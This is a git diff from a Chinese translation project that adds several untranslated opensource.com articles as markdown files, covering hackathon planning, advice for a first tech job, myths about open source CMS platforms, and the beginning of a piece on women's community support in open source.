industry standards/best practices for the concerns of the day. These sessions can function as proctored time-bound conversations amongst 6-10 individuals, where they agree upon findings and take notes that are made public to all participants. +- **Planning sessions:** Often used for projects with non-code outcomes, like developing updated standards. +- **Coding sessions:** Used for code-based projects which require work to maintain and enhance. + +Each of the above has different communication needs: + +- People prepared to facilitate, but not lead, conversations in workshops. +- Note takers and people to make sure that the notes are turned into a publishable product. +- Project managers to ensure the above tasks are done. + +- General communication for running the event (food, cleaning, management of resources). +- Masters of ceremonies to move through the agendas. +- For workshops: + +Making this all happen requires the resources and specialized knowledge from your Community, Product Managers, and teach-savvy teams. From past experience, it took a team of community members and staff to manage an event of this scope. To be successful, your team will need specialized people as well. + +You also need to decide what types of communication you want to foster and who is responsible for it: + +- Multiple teams will need to take shifts to perform general support. +- A DevRel, engineering, or support team will need to manage technical communication between triage and participants. +- Community Teams usually spend extensive time connecting participants to help build strong groups by reinforcing skills or points of view. This is one way to ensure that hackathon magic. +- Community Teams also need to support marketing efforts to engage participants and manage follow-up. + +#### Virtual communication plan + +For virtual hackathons, the choice of a communication platform depends heavily on the outcome you want to achieve, the timeline you've chosen for your hackathon (prolonged or intensive), and the type of communication you wish to facilitate (synchronous or asynchronous). + +**Using Pull Requests and Issues on Git hosts (asynchronous):** + +- Choosing to communicate through Git pull requests and Issues on your project directly frees up technical staff resources because it keeps the conversations about projects in your current process and allows your team to be responsive rather than instigating communication. +- This approach is great if the team for your hackathon is small or if the expected contributions are relatively small and you do not plan to help participants form teams. +- Using your existing processes is especially great for prolonged hackathons as they do not require additional moderation or require your team to monitor an additional app. +- The downside is that you will only facilitate communication with the individual contributor or group of contributors already working together. It's difficult to connect participants who are working separately. Participants can't find each other as easily on their own, so you lose some of the magic that happens when hackathon participants organically talk to each other in open threads. + +**Using a chat application (synchronous):** + +- Choosing dedicated chat servers is required for intense hackathons. +- Chat facilitates the team formation and communication necessary for complex projects with fast timelines and sparks the brainstorming that preludes an awesome contribution. +- Additionally, your goal is to build community. People want to join communities where they have ownership, have friends, and feel comfortable. You need a place for participants to feel connected to each other if you want them to return. +- Chat servers can outlast an event, allowing for continued community engagement. + +Regardless of which platform you choose, you need a communication plan that identifies when every person on your team is available. Managing a virtual hackathon can get quite tricky, primarily due to the different timezones—people can participate whenever they want, from wherever they want. You must plan to accommodate participants across all time zones and for every occasion. Draw up a plan with who is responsible (and when) for the following: + +- Determining response SLAs. +- Animating your virtual space (a dead space guarantees poor communication). +- Encouraging team building. +- Responding to technical questions. +- Checking in on participants. +- Moderating the space to ensure the safety of your participants. + +### 7. Decide on the prizes + +Is your hackathon a contest? Hackathon participants are often content with grand prizes and "swagpaloozas" for top contributions. But before you decide on the fun stuff (the actual awards), you must determine what your contest values. + +- What differentiates a good contribution from a great contribution? If your attendees know how you feel about this, they are more likely to hit it out of the park. +- What do you value? This is your chance to tell participants what you want to see submitted by attaching a prize to it. For example, during the last Traefik Hackaethon, we offered bounties for the most-wanted features. These were, indeed, the ones most people worked on. +- Are there categories of contributions? You need to decide on prizes for each category. +- Create a rubric (a chart or grid defining and ranking achievements, [like this example][18]). This way, participants know what you value and how they are judged. This was one way we improved submissions at HackerOne. + +On the other hand, some may argue that competition is overrated. If your goal is participation, feel free to reward every single one of your participants for simply giving back! [Hacktoberfest][19] is a great example of this approach. + +### 8. Swag it up + +Everyone loves swag! And your participants would certainly appreciate a token to remember this event, whether virtual or in person. Swag has two purposes: + +- Swag shows your appreciation: The contributors took their time to engage with you in an intense way; thank them with a gift that shows you value their contributions. +- Swag builds awareness: Gifting swag to your participants helps them spread the love and build awareness of your community by sharing their loot and experience. + +The community loves swag, but they don't love boring swag! You probably distributed your existing t-shirts and stickers during another event. Make your hackathon memorable and go for new, exciting, and exclusive designs. Shirts are great, and hoodies reign supreme. But think about cool swag participants may not have already. Think of something that could become their new staple item, like backup batteries or hats (both popular at HackerOne). Personally, my own home features some towels and slippers from hackathons! + +### 9. Get the word out + +Setting your goals and deciding on amazing grand prizes and swag are all important steps. But how will anyone know your hackathon is happening if you don't get the word out? You need to investigate the available channels carefully, and you need to be bold with your promotion. I'm talking blogs, vlogs, emails, social media—anything you can get your hands on. + +However, depending on your defined goals, you need to invest in the appropriate channel. Where you advertise depends on who you want to invite to your hackathon. + +- IIf you want to attract more experienced users, target big organizations where your project is used. LinkedIn and email promotion would be most effective here. +- If you want to bring in new and less experienced users, you're better off targeting universities and boot camps. Promoting the event on community-based media, like Mastodon, Matrix, Mattermost, Reddit, Discourse, Discord, and any place your target audience hangs out is a better choice. + +### 10. Managing the long tail + +Yay, the hackathon is over! Now all hackathon-related activities can stop, and we no longer need to pull resources, right? Wrong! Think of hackathons as only one step of the road in a series of events in your software development and community building. To deem your hackathon a success, you must be prepared to engage in post-event activities. + +- Communicating your results: Don't forget to communicate hackathon outcomes internally and externally. Demonstrate the ownership the community members gained during the hackathon to grow trust in your community and project. +- Building community: Lean on your hackathon participants for future community activity. +- Putting together the retrospective: What went well, what went terrible, what was meh, what surprised you? This analysis is how you grow, change, and iterate. Don't forget to do a blameless retro as soon as possible so it is all fresh in your mind. + +### Wrap up + +If you started reading this article thinking that hackathons aren't that hard to pull off, I'm sorry to have burst your bubble! And although I sincerely believe hackathons are a great way to engage and communicate with your community on so many levels, having just the intention does not guarantee the results. + +For a hackathon to be successful, you need to be meticulous and prepared to invest significant resources and effort to plan and execute it properly. + +Thank you for reading, and I hope this checklist helps you successfully organize your next hackathon! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/2/hackathon-guide + +作者:[Tiffany Long][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/tiffany-long +[b]: https://github.com/lkxed/ +[1]: https://opensource.com/article/23/2/hackathon-guide#set-your-goals +[2]: https://opensource.com/article/23/2/hackathon-guide#why-are-you-doing-this +[3]: https://opensource.com/article/23/2/hackathon-guide#who-is-your-audience +[4]: https://opensource.com/article/23/2/hackathon-guide#how-are-you-measuring-goals +[5]: https://opensource.com/article/23/2/hackathon-guide#decide-on-in-person-vs-virtual +[6]: https://opensource.com/article/23/2/hackathon-guide#build-your-communication-strategy +[7]: https://opensource.com/article/23/2/hackathon-guide#decide-on-the-prizes +[8]: https://opensource.com/article/23/2/hackathon-guide#swag-it-up +[9]: https://opensource.com/article/23/2/hackathon-guide#get-the-word-out +[10]: https://opensource.com/article/23/2/hackathon-guide#managing-the-long-tail +[11]: https://opensource.com/downloads/hackathon-guide +[12]: https://traefik.io/blog/announcing-traefik-proxy-3-0-hackaethon/ +[13]: https://traefik.io/blog/announcing-the-inaugural-traefik-hackaethon-2020-in-october/ +[14]: https://www.youtube.com/watch?v=9VZCD9TirCg&list=PLxhvVyxYRvibM_KJBPtPsfEcjnP5oGS8H +[15]: https://opensource.com/article/20/8/virtual-hackathon +[16]: https://opensource.com/alternatives/slack +[17]: https://opensource.com/article/21/9/alternatives-zoom +[18]: https://www.isothermal.edu/about/assessment/assets/rubric-present.pdf +[19]: https://hacktoberfest.com/ diff --git a/sources/talk/20230227.1 ⭐️⭐️ Essential tips and tricks for your first tech job.md b/sources/talk/20230227.1 ⭐️⭐️ Essential tips and tricks for your first tech job.md new file mode 100644 index 0000000000..cf1478f955 --- /dev/null +++ b/sources/talk/20230227.1 ⭐️⭐️ Essential tips and tricks for your first tech job.md @@ -0,0 +1,146 @@ +[#]: subject: "Essential tips and tricks for your first tech job" +[#]: via: "https://opensource.com/article/23/2/your-first-tech-job" +[#]: author: "Fatima https://opensource.com/users/ftaj" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Essential tips and tricks for your first tech job +====== + +First days at work are scary. I still recall many instances where I lay awake at night before my first day at work, having an internal meltdown over what would happen the next day. Starting a new job is uncharted territory for most people. Even if you're a veteran in the industry, there's no denying that there can be a part of you that's a bit terrified of what is to come. + +Understandably, a lot is happening. There are new people to meet, new projects and technologies to understand, documentation to read, tutorials to sit through, and endless HR presentations and paperwork to fill out. This can be overwhelming and, coupled with the considerable degree of uncertainty and unknowns you're dealing with, can be quite anxiety-inducing. + +Two reasons motivated me to write about this subject. The first one being that back when I was a student, most of the discussion revolved around getting a job in tech, and no one talked about what happened next. How do you excel in your new role? Now that I look back, I think I assumed that the hard part is getting the job, and whatever comes after, I could probably figure out myself. + +Similarly, once I started working in the industry, most of the career-related content I came across was about how to go from one senior level to another. No one really talked about what to do in the middle. What about the interns and the junior engineers? How do they navigate their early careers? + +After completing three years of full-time professional experience as a software engineer (and a couple of internships before), I reflected on my time. I put together a list of tips and tricks I've employed while settling into a new tech role. I wanted to look beyond just the first couple of months and prioritize helping achieve long-term success. + +### Reflect on existing processes and documentation + +Most new employees start by either having a ton of documentation thrown their way or none at all. Instead of being overwhelmed by either of these possibilities, you could view this as an opportunity. + +Identify gaps in existing documentation and think about how you could improve it for the next engineer that gets onboarded. This not only shows initiative on your part but also demonstrates that you're committed to improving existing processes within your team. + +I've seen both ends of the spectrum. I've been on teams with no documentation whatsoever. I've also been on teams that were very diligent with keeping their documentation up to date. Your path is pretty straightforward with the former, and you can work on creating that missing documentation. With the latter, you can always think of ways to improve what already exists. Sometimes, too much documentation in written form can also feel intimidating, especially for new employees. Some things might be better explained through other mediums, like video tutorials or screencasts. + +### Ask questions + +I encourage you to look into whether a buddy will be assigned to you when you're starting. This is a fairly common practice at companies. The purpose of a buddy is to help you as you are onboarded. I've found this incredibly helpful because it gives you someone to direct all your questions, and you don't have to run around trying to find the right person/team. + +While asking questions should always be encouraged, it is also necessary to do your homework before you ask those questions, including: + +- Do your research. This encompasses doing a web search, checking forums, and reading existing documentation. Use all the available tools at your disposal. However, it is essential to timebox yourself. You must balance doing your due diligence and keeping project deadlines and deliverables in mind. +- Talk it out. As someone whose first language isn't English, I recommend talking things out loud before asking questions. In my experience, I've often found that, especially when I'm struggling with something difficult, I think in one language (probably my native language) and must explain it in another. This can be a bit challenging sometimes because doing that translation might not be straightforward. +- Organize your thoughts. When struggling with something, it's very common to have many scrambled ideas that make sense to us but might not necessarily make sense to another person. I suggest sitting down, gathering your thoughts, writing them down, and talking through them out loud. This practice ensures that when you're explaining your thought process, it flows as intended, and the listener can follow your train of thought. + +This approach is called the rubber duck technique, a common practice developers use while debugging. The concept is that sometimes explaining your problem to a third person can be very helpful in getting to the solution. This is also a testament to your excellent communication skills. + +Respect people's time. Even if you're reaching out to someone like your buddy, be cognizant of the fact that they also have their day-to-day tasks to complete. Some things that I've tried out include the following: + +- Write down my questions and then set aside some time with my mentor so I could talk to them. +- Compile questions instead of repeatedly asking for help so your mentor can get to them when they have time. +- Schedule a quick 15-20 min video chat, especially if you want to share your screen, which is a great way to showcase your findings. + +I think these approaches are better because you get someone's undivided attention instead of bothering them every couple of minutes when their attention might be elsewhere. + +### Deep dive into your projects + +Even on teams with excellent documentation, starting your technical projects can be very daunting since multiple components are involved. Over time though, you will understand how your team does things. However, it can save you time and potential headaches to figure this out early on by keeping a handy list to refer to, including basic project setup, testing requirements, review and deployment processes, task tracking, and documentation. + +If there's no documentation for the project you're starting on (a situation I have been in), see if you can identify the current or previous project owner and understand the basic project structure. This includes setting it up, deploying it, etc. + +- Identify your team's preference in the IDE (integrated development environment). You're free to use the IDE of your choice, but using the same one as your team can help, especially when debugging, since the choice of IDE impacts debugging. Different IDEs offer varying degrees of debugging support. +- Understand how to do debugging, and I don't just mean using print statements (not that there's anything wrong with that approach). Leverage your team's experience here! +- Understand testing requirements. This might depend on the scope of your project and general team practices, but the earlier you figure this out, the more confident you'll be in the changes you push to production. +- Visualize the deployment process. This process can vary by team, company, etc. Regardless of how informal or formal it may be, make sure you understand how your changes get deployed to production, what the deployment pipeline looks like, how to deploy changes safely, what to do in case of failed builds, how to rollback faulty changes, and how to test your changes in production. +- Understand the ticketing process. Understand how to document tickets and the level of detail expected. You will see a lot of variation here. Some companies expected us to submit our tickets daily, showing our progress. Other companies might not require that level of documentation. + +Given everything I just mentioned, a beneficial, all-in-one exercise you can do in the first couple of weeks is to shadow another engineer and do peer coding sessions. This allows you to observe the entire process, end to end, from the moment a ticket is assigned to an engineer to when it gets deployed to production. + +The first couple weeks can also feel frustrating if you're not yet given an opportunity to get your hands dirty. To counter this, ask your manager to assign some starter tickets to you. These are usually minor tasks like code cleanup or adding unit tests. Still, they allow you to tinker with the codebase, which helps improve your understanding and gives you a sense of accomplishment, which is a very encouraging feeling in the early days of a new job. + +### Speak up, especially when you're stuck + +I want to stress the importance of communication when you're stuck. This happens, especially in the early months of a new job, and as frustrating as it can be, this is where your communication skills will shine. + +- Be transparent about blockers and your progress. Even if it's something as trivial as permission issues (a fairly common blocker for new employees), ensure that your manager is aware. +- Don't wait until the last day to report if something will be delayed. Delays in your project push many other things forward. Share necessary project delays well in advance, so your manager can share this with stakeholders. +- Don't forget things like thoroughly testing your changes or documenting your code just because you're in a rush. + +### Gain technical context + +Gaining technical context is something I've personally struggled with, and I've actively worked on changing my approach in this area. + +When I started as an intern, I would go in with a very focused mindset regarding what I wanted to learn. I'd have a laser-sharp focus on my project, but I'd completely turn a blind eye to everything else. Over the years, I realized that turning a blind eye to other or adjacent projects might not be the wisest decision. + +First and foremost, it impacts your understanding of your work. I was naive to think I could be a good engineer if I focused exclusively on my project. That's just not true. You should take the time to understand other services with which your project might interact. You don't need to get into the nitty gritty, but developing a basic understanding goes a long way. + +A common experience that new employees undergo is disconnecting from the rest of the company, which is a very natural feeling, especially at larger companies. I'm someone who develops a sense of exclusion very quickly, so when I moved to Yelp, a significantly larger company than my previous one, with projects of a much larger scale, I prioritized understanding the big picture. Not only did I work on developing an understanding of my project but also of other adjacent projects. + +In my first few weeks at Yelp, I sat down with various engineers on my team and asked them to give me a bird's eye view of what I would be doing and the project's overarching goal. This approach was incredibly helpful because not only did I get varying degrees of explanations based on how senior the engineer was and how long they had been working on the project, but it also deepened my understanding of what I would be working on. I went into these meetings with the goal that my knowledge of the project should allow me to explain what I do to a stranger on the street. To this end, I asked my tech lead to clarify at what point my work came into the picture when a user opened the Yelp app and searched for something. + +Architecture diagrams can also help in this scenario, especially when understanding how different services interact. + +### Establish expectations + +For the longest time, I thought that all I needed to do was my best and be a good employee. If I was doing work, meeting goals, and no one complained, that should be good enough, right? Wrong. + +You must be strategic with your career. You can't just outsource it to people's goodwill and hope you'll get the desired results just because you're meeting expectations. + +- Establish clear criteria the moment you start your new job. This varies by company, as some organizations have very well-defined measures while others might barely have any. If it's the latter, I suggest you sit down with your manager within the first couple of weeks and establish and unanimously agree on a criterion. +- Make sure you thoroughly understand how you will be evaluated and what measures are used. + +I remember walking out of my first evaluation very confused in my first full-time role. The whole conversation had been very vague and hand-wavy, and I had no clarity about my strengths, weaknesses, or even steps to improve. + +At first, it was easy to attribute everything to my manager because the new employee in me thought this was their job, not mine. But over time, I realized that I couldn't just take a backseat as far as my performance evaluations were concerned. You can't just do good work and expect it to be enough. You have to actively take part in these conversations. You have to make sure that your effort and contributions are being noticed. From regularly contributing to technical design conversations to setting up socials for your team, ensure that your work is acknowledged. + +Tying into establishing expectations is also the importance of actively seeking feedback. Don't wait until your formal performance evaluations every three or four months to find out how you're doing. Actively set up a feedback loop with your manager. Try to have regular conversations where you're seeking feedback, as scary as that may be. + +### Navigate working in distributed teams + +The workplace has evolved over the past two years, and working in remote and distributed teams is now the norm instead of a rarity. I've listed some tips to help you navigate working in distributed teams: + +- When starting meetings, exchange pleasantries and ask people how their weekend/day has been. This helps break the ice and enables you to build a more personal connection with your team members, which goes beyond work. +- Suggest an informal virtual gathering periodically for some casual chit-chat with the team. + +- Establish core hours and set these on your calendar. These are a set of hours that your team will unanimously agree upon, and the understanding is that everyone should be online and responsive during these hours. This is also convenient because meetings only get scheduled within these hours, making it much easier to plan your day. +- Be mindful of people's time zones and lunch hours. +- In the virtual world, you need to make a greater effort to maintain social interactions, and little gestures can go a long way in helping make the work environment much friendlier. These include the following: + +### Maintain a work-life balance + +At the beginning of your career, it's easy to think that it's all about putting in those hours, especially given the 'hustle culture' narrative that we're fed 24/7 and the idea that a work-life balance is established in the later stages of our careers. This idea couldn't be further from the truth because a work-life balance isn't just magically going to occur for you. You need to actively and very diligently work on it. + +The scary thing about not having a work-life balance is that it slowly creeps up on you. It starts with you checking emails after hours and then slowly makes its way to you, working over weekends and feeling perpetually exhausted. + +**[ Related read [How I recognize and prevent burnout in open source][1] ]** + +I've listed some tips to help you avoid this situation: + +- Turn off/pause notifications and emails and set yourself to offline. +- Do not work weekends. It starts with you working one weekend, and the next thing you know, you're working most weekends. Whatever it is, it can wait until Monday. +- If you're an on-call engineer, understand your company's policies surrounding that. Some companies offer monetary compensation, while others may give time off in lieu. Use this time. Not using your benefits like PTO (paid time off) and wellness days really shortens your longevity at work. + +### Wrap up + +There's no doubt that starting a new job is stressful and difficult. I hope that these tips and tricks will make your first few months easier and set you up for great success with your new position. Remember to communicate, establish your career goals, take initiative, and use the company's tools effectively. I know you'll do great! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/2/your-first-tech-job + +作者:[Fatima][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ftaj +[b]: https://github.com/lkxed/ +[1]: https://opensource.com/article/21/5/open-source-burnout \ No newline at end of file diff --git a/sources/talk/20230301.2 ⭐️⭐️ 3 myths about open source CMS platforms.md b/sources/talk/20230301.2 ⭐️⭐️ 3 myths about open source CMS platforms.md new file mode 100644 index 0000000000..f985d9b8cb --- /dev/null +++ b/sources/talk/20230301.2 ⭐️⭐️ 3 myths about open source CMS platforms.md @@ -0,0 +1,121 @@ +[#]: subject: "3 myths about open source CMS platforms" +[#]: via: "https://opensource.com/article/23/3/open-source-cms-myths" +[#]: author: "Pierina Wetto https://opensource.com/users/pierinawetto" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +3 myths about open source CMS platforms +====== + +There are two choices when it comes to building a website. You can choose an open source platform like Drupal or WordPress, or a proprietary platform overseen by a company like Adobe or Microsoft. How do you know which is best for your website? + +Things to consider: + +- How much user support will I get? +- Which is better for security? +- Is the cost within budget? + +For organizations with limited budgets, the choice is either an open source site or something less flexible like Wix or Squarespace – the cost attached to a proprietary platform might be out of reach. However, for a large enterprise organization, both approaches have pros and cons worth addressing. + +Proprietary platforms can be attractive to many large organizations for several reasons. In addition to promising great platforms customized to the client's business needs, proprietary arrangements typically offer full hosting plans. The company behind the CMS handles all updates, upgrades, security issues, and bugs – often 24/7. + +While proprietary software comes with a high price point, there's a sense of justification behind it: at least you get what you pay for. + +It's worth noting, though, that many of the world's biggest corporate brands use Drupal as their CMS of choice, including General Electric, Tesla, IBM, Paramount Global, United Airlines, and the Royal Family. The Government of Australia operates on Drupal, as does the Government of Ontario, the Canadian Security Intelligence Service (CSIS), several US state governments, and countless other government agencies around the world. + +So, why do organizations that have large budgets for web development opt for an open source platform, despite the supposed advantages touted by proprietary providers? + +The answers are numerous, ranging from a need for financial accountability to the supportive nature of the Drupal community. These factors more than make up for any potential shortcomings of the open source model. + +This article runs through some popular myths around proprietary and open source platforms that continue to influence decision making. + +### Myth #1: Proprietary platforms provide better user support + +One of the main selling points of proprietary platforms is that its vendors promise 24/7 client support should anything go wrong with the site, or if you need anything customized. This 24/7 support comes at a cost. For institutions concerned about sudden emergencies, this is obviously an appealing offering that for many justifies the price tag. + +What proprietary vendors won't tell you, however, is that open source platforms like Drupal provide much of the same service (typically in tandem with an agency and an infrastructure partner like Acquia or Pantheon). This is provided at no cost through their networks of volunteers and sponsored contributors. + +[Drupal][1], for example, is supported by a global community of hundreds of thousands of contributors who work collaboratively to address technical issues and improve the platform. + +In the Drupal world, when you find a bug and create a report within the community, the response — while not necessarily instantaneous — is typically fast. While mission-critical sites like government platforms will need to pay somebody to be available for 24/7 support, this broader community support is of enormous benefit to all Drupal users. + +Proprietary platforms do have counterparts to this type of community, but they're oftentimes much smaller. Sitecore, for example, advertises that it has a community of 20,000 developers. This is a drop in the bucket compared to the scope of the Drupal developer community. + +### Myth #2: Proprietary is more secure than open source + +This is a stubborn myth — understandably. Open source code, by its nature, is publicly available to anyone, including individuals with malicious intent. In contrast, proprietary platforms keep their codebases under lock and key. The for-profit nature of proprietary vendors gives them a greater (financial) incentive to track down and neutralize bad actors. + +The unpopular truth is that proprietary platforms are every bit as vulnerable to attacks as their open source counterparts — if not more so. + +For one thing, most security breaches don't come from hackers scouring source code for weak spots, but from avoidable human lapses such as failures to follow security guidelines, improper software setup, use of easy passwords, lack of data validation processes, and absence of data encryption techniques. These lapses are no less likely to occur on a proprietary platform than they are on an open source one. + +Paradoxically, the open source nature of platforms like Drupal is actually more of a help than a liability when it comes to cybersecurity. Open source code means that anyone with the know-how can search for and identify vulnerabilities. And with an army of over a million developers contributing behind the scenes, it's safe to say that Drupal takes its [security][2] very seriously. Proprietary vendors, by contrast, are limited in this capacity by their cybersecurity staffing numbers. + +### Myth #3: Proprietary costs more, so you get more value + +It's widely believed that when you opt for a less expensive product —in this case, an open source website — you're either settling for a "less-good" quality product or setting yourself up for additional costs down the road in the form of upgrades and modifications. Proprietary websites may cost more at the outset, but at least you know you're getting something of real quality and the costs are predictable. + +In truth, there is no difference in quality between open source and proprietary websites. It all depends on the quality of workmanship that goes into building the sites. And while any website project is vulnerable to budget overruns, proprietary platforms are actually more prone to them than open source ones. + +When you opt for a proprietary platform, you automatically commit to paying for a license. This may be a one-time cost or a recurring subscription fee. In many cases, proprietary providers charge on a "per-seat" basis, meaning that the larger your team gets, the more expensive maintaining your website becomes. An open source site, by contrast, costs nothing beyond what you spend on design, and is in fact much more predictable from a cost standpoint. + +This is of particular importance to governments, whose website development and renewal costs are publicly available and subject to intense media scrutiny. The Government of Canada faced [negative press][3] after it hired Adobe to restructure a vast swath of federal websites under the [Canada.ca][4] URL. A project originally valued at $1.54 million in 2015 had by the following year ballooned to $9.2 million. While details were scant, some of this budget overrun was attributed to costs due to additional staffing requirements. Cue impending doom music. + +Websites built on open source platforms like Drupal aren't cheap to develop, but the costs are almost always more predictable. And when it's the taxpayers who are footing the bill, this is a major advantage. + +### Bonus: Open source = wider talent base + +If you're a large government organization with complex web needs, chances are you'll be looking to hire in-house developers. From this standpoint, it makes much more sense to opt for an open source web platform in terms of available talent. The magnitude of the Drupal community relative to, say, Sitecore, means that your LinkedIn search is far more likely to turn up Drupal specialists in your area than Sitecore experts. + +Similar disparities exist when it comes to providing your staff with training. Drupal training is widely available and affordable. Hint: they offer [customized training][5]. Becoming a licensed developer for something run by Adobe, by contrast, is a much more complex and expensive undertaking. + +### Why Drupal specifically? + +I've touted Drupal extensively throughout this post, as Evolving Web is the home of many Drupal trainers, developers and experts However, it's far from the only open source CMS option out there. WordPress remains the world's [most popular CMS platform][6], being used by some 43% of the world's websites. + +Drupal does, however, stand out from the pack in a number of important ways. The Drupal platform simply has more features and is a lot more supportive of customization than most of its open source competitors. This is perhaps less of a big deal if you're a small business or organization with a narrow area of focus. But government websites are generally complex, high-traffic undertakings responsible for disseminating a wide range of content to a diverse array of audiences. + +### Other cool government sites are using It + +Evolving Web recently redesigned the official website for the [City of Hamilton][7]. As the main online hub for Canada's ninth largest municipal area, serving some 800,000 people, the City of Hamilton website caters to a wide range of audiences, from residents and local business people to tourists and foreign investors. Its services run the gamut, enabling residents to plan public transit use, pay property taxes, find employment, apply for a marriage license, and get information on recreational activities, among many other options. + +The City of Hamilton site exemplifies many of Drupal's strengths. Like many government websites, it encompasses vast swaths of data and resources and is subject to considerable surges in traffic, both of which Drupal is well equipped to handle. The site revamp also involved corralling various third-party services (including the recreation sign-up and council meeting scheduler) and a half-dozen websites that existed outside of Drupal. This required creative solutions of the sort that the Drupal community excels at developing. + +### Drupal upholds accessibility standards + +A further advantage of Drupal for government websites is that its publishing platform, along with all of its other features and services, is designed to be fully accessible in accordance with WCAG standards. Drupal's default settings ensure accurate interpretation of text by screen readers, provide accessible color contrast, and intensity recommendations. They also generate pictures and forms that are accessible and incorporate skip navigation in its core themes. + +### You are in good company + +All this attests to the strengths of the open source model — and of Drupal in particular — underpinned as it is by an army of over a million contributors. Thanks to this, the platform is in a constant state of improvement and innovation, of which every single Drupal user is a beneficiary. + +### Join the club + +At Evolving Web, we specialize in helping organizations harness their online presence with open source platforms like Drupal and WordPress. Let's keep in touch! + +Join our inner circle and sign up for our [newsletter][8], where you'll get insider content and hear more about upcoming training programs, webinars and events. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/3/open-source-cms-myths + +作者:[Pierina Wetto][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/pierinawetto +[b]: https://github.com/lkxed/ +[1]: https://www.drupal.org/ +[2]: https://www.drupal.org/drupal-security-team +[3]: https://www.cbc.ca/news/politics/canadaca-federal-website-delays-1.3893254 +[4]: https://www.canada.ca/ +[5]: https://evolvingweb.com/training?utm_source=community&utm_medium=pr&utm_campaign=opensource_feb23 +[6]: https://evolvingweb.com/wordpress-web-development?utm_source=community&utm_medium=pr&utm_campaign=opensource_feb23 +[7]: https://www.hamilton.ca/ +[8]: https://evolvingweb.com/newsletter?utm_source=community&utm_medium=pr&utm_campaign=opensource_feb23 \ No newline at end of file diff --git a/sources/talk/20230308.6 ⭐️⭐️ The power of sisterhood and allyship in open source.md b/sources/talk/20230308.6 ⭐️⭐️ The power of sisterhood and allyship in open source.md new file mode 100644 index 0000000000..3f3653e8bc --- /dev/null +++ b/sources/talk/20230308.6 ⭐️⭐️ The power of sisterhood and allyship in open source.md @@ -0,0 +1,110 @@ +[#]: subject: "The power of sisterhood and allyship in open source" +[#]: via: "https://opensource.com/article/23/3/power-sisterhood-allyship-open-source" +[#]: author: "Paloma Oliveira https://opensource.com/users/discombobulateme" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +The power of sisterhood and allyship in open source +====== + +A little more than two years ago, I switched my career from artist to [software developer][1]. I didn’t do it alone. I had the support of PyLadies Berlin, the local Berlin chapter of an international volunteer-based group made to support women in technology. + +We are used to the term “career change” as if it were a break in a trajectory. But in my experience, that’s never really the case. A person cannot erase themselves from what they consist of, and this richness of diverse backgrounds resulted in several breaking points. Individual journeys, often far from computer science, hold accountability for the social implication of technology and bring richness and creativity to the technology industry. + +Being an artist has always given me freedom and opened doors to explore several fields, from architecture to sciences. A great part of my artistic experience took place in hackerspaces in Brazil, surrounded by the Free/Libre Open Source Software (FLOSS) ideology, the open free/libre culture of sharing. Nowadays, for several ideological and practical reasons that do not fall within the scope of this article, the most common term is “open source”. And lucky for me, my career switch started with an internship in an Open Source Program Office (OSPO), which made this switch feel — almost — like home. + +### Standing on the shoulders of giants + +We all benefit from open source. Whether you code or not, the software you use relies on it. Since it is an open culture where everything is built upon the work of others, it’s common to hear the term “standing on the shoulders of giants”, which refers to the idea that advancements are built upon the work and contributions of those who came before us. This highlights the importance of learning from the experiences and accomplishments of others. + +This article is meant to unveil whose shoulders I am standing on. And this is not only to show my gratitude to them but also to answer a question I was asked while being interviewed by Kevin Ball and Christopher Hiller at JSParty: What can you do to improve diversity in your surroundings? + +“Standing on the shoulder of giants” regards not only to open source but its the base of sisterhood in technology by recognizing female pioneers and leaders’ roles in the field. By acknowledging the contributions of women who came before us, we can gain inspiration and insight into the challenges they faced and learn from their experiences in overcoming some shackles. In this way, we “stand on the shoulders of giants” and build upon their work to create a more inclusive and supportive environment for women and _underestimated_ [2] people in technology. + +By supporting one another, recognizing the importance of learning from the experiences of others, and forming a supportive network, we can work together to overcome challenges and build a better future for all by creating a more equitable environment. By doing so, we are creating new giants for others to stand upon in the future. + +### Organizing a local community: Meili Triantafyllidi and Jessica Greene + +I joined PyLadies Berlin, which was founded by Meili in 2013. Jessica, one of the organizers, was a junior software engineer at Ecosia. Being a community organizer means using your free time to passionately do all the work needed to create a safe, supportive networking and learning space. It includes finding a hosting place, promoting the event, curating themes, finding speakers, and most importantly, listening to the needs of the community. + +Being new in a multicultural city and trying to find my place in it, PyLadies was less a place to learn Python and more a center to be welcomed and understood. + +According to the narrative we are told, tech is the new promise land everyone is heading to, with infinite job postings, freedom to switch countries, and a well-paid careers. This isn’t being offered in other sectors, or at least not at this scale. And communities focused on bringing diversity to the space offer to make this a realistic possibility for everyone. + +Every event starts with community announcements, a simple slide containing an agenda, and promotions for similar events. Two of the events I heard guided me to my career path: the Rail Girls Summer of Code program and the FrauenLoop. Feeling compelled to contribute back to the supportive community I’d already received, I became one of the co-organizers. + +### Networking and learning: FrauenLoop + +Founded by Dr. Nakeema Stefflbauer in 2016, FrauenLoop has committed to changing the face of EU-based tech companies. The program is divided in 3 months cycles, which are composed of weekly evening classes and weekend workshops to train women who don’t have a tech industry connection. + +The learning curriculum is developed around the professional needs of women, from technical industry-focused classes to workshops delivered by women on how the tech industry really works and how to successfully navigate it. Some common topics are salary negotiation and practicing technical interviews. Most recently, in response to the layoffs, there was a workshop run with the Berlin Tech Workers Coalition about Demystifying the Termination Challenge Process. + +The focus is on women, especially migrants, the ones changing family status and careers who are really ready to go job searching. + +Being around Nakeema is itself an inspiration. The program was a starting point for understanding what coding means and learning 